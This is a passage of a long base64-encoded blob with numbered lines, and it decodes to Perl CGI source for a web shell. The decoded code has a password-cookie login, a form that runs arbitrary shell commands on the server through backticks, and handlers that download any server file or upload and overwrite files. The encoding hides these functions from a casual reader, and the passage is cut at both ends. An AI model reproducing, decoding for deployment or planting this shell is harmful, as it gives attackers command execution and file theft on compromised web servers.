  1792. LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh
  1793. biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t
  1794. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1795. LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0
  1796. KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll
  1797. cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7
  1798. JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1799. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0
  1800. aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1801. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
  1802. CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl
  1803. ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t
  1804. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1805. LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu
  1806. IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1807. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy
  1808. aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN
  1809. CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50
  1810. TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN
  1811. CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1812. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n
  1813. aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh
  1814. Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg
  1815. ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5
  1816. cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t
  1817. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1818. LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh
  1819. c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF
  1820. RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy
  1821. aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug
  1822. IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ
  1823. JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz
  1824. c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ
  1825. CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t
  1826. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1827. LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
  1828. aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1829. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy
  1830. aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
  1831. RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8
  1832. PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp
  1833. cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
  1834. ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
  1835. JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p
  1836. dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t
  1837. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1838. LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz
  1839. ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1840. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp
  1841. bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
  1842. IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj
  1843. b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv
  1844. biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
  1845. PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg
  1846. ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz
  1847. aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i
  1848. QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
  1849. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1850. LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk
  1851. IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1852. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K
  1853. ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy
  1854. TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h
  1855. bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u
  1856. PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp
  1857. bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu
  1858. YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP
  1859. dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8
  1860. aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
  1861. bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
  1862. ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t
  1863. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1864. LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91
  1865. dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp
  1866. cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp
  1867. cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t
  1868. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1869. LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K
  1870. CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu
  1871. ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k
  1872. KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN
  1873. CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
  1874. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1875. LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg
  1876. ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy
  1877. IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu
  1878. ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5
  1879. IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp
  1880. bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh
  1881. bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo
  1882. ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t
  1883. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1884. LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e
  1885. XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj
  1886. aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv
  1887. bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ
  1888. JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
  1889. Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI
  1890. ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA
  1891. JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7
  1892. DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN
  1893. CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
  1894. RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg
  1895. IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE
  1896. aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ
  1897. ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k
  1898. VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv
  1899. dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi
  1900. IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu
  1901. ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf
  1902. XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t
  1903. bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp
  1904. bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy
  1905. aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t
  1906. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1907. LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg
  1908. Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg
  1909. c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg
  1910. ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l
  1911. bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk
  1912. ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1913. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN
  1914. Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl
  1915. eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g
  1916. dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI
  1917. KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk
  1918. JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
  1919. PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu
  1920. dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl
  1921. ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0
  1922. b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E
  1923. DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N
  1924. CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7
  1925. DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls
  1926. ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t
  1927. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1928. LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv
  1929. bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu
  1930. IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll
  1931. ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
  1932. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1933. LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm
  1934. KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7
  1935. DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU
  1936. RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls
  1937. ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt
  1938. VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6
  1939. ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
  1940. IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT
  1941. RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ
  1942. YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk
  1943. ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9
  1944. DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1945. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl
  1946. ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K
  1947. IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
  1948. Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0
  1949. aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz
  1950. IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1951. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
  1952. dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm
  1953. aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
  1954. XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw
  1955. YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K
  1956. CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy
  1957. Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk
  1958. UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
  1959. aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp
  1960. bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN
  1961. CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t
  1962. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1963. LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg
  1964. d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg
  1965. aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl
  1966. LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t
  1967. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1968. LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg
  1969. cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7
  1970. DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ
  1971. cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K
  1972. DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu
  1973. c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh
  1974. bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO
  1975. YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh
  1976. bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx
  1977. Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0
  1978. aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ
  1979. aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu
  1980. dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll
  1981. bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU
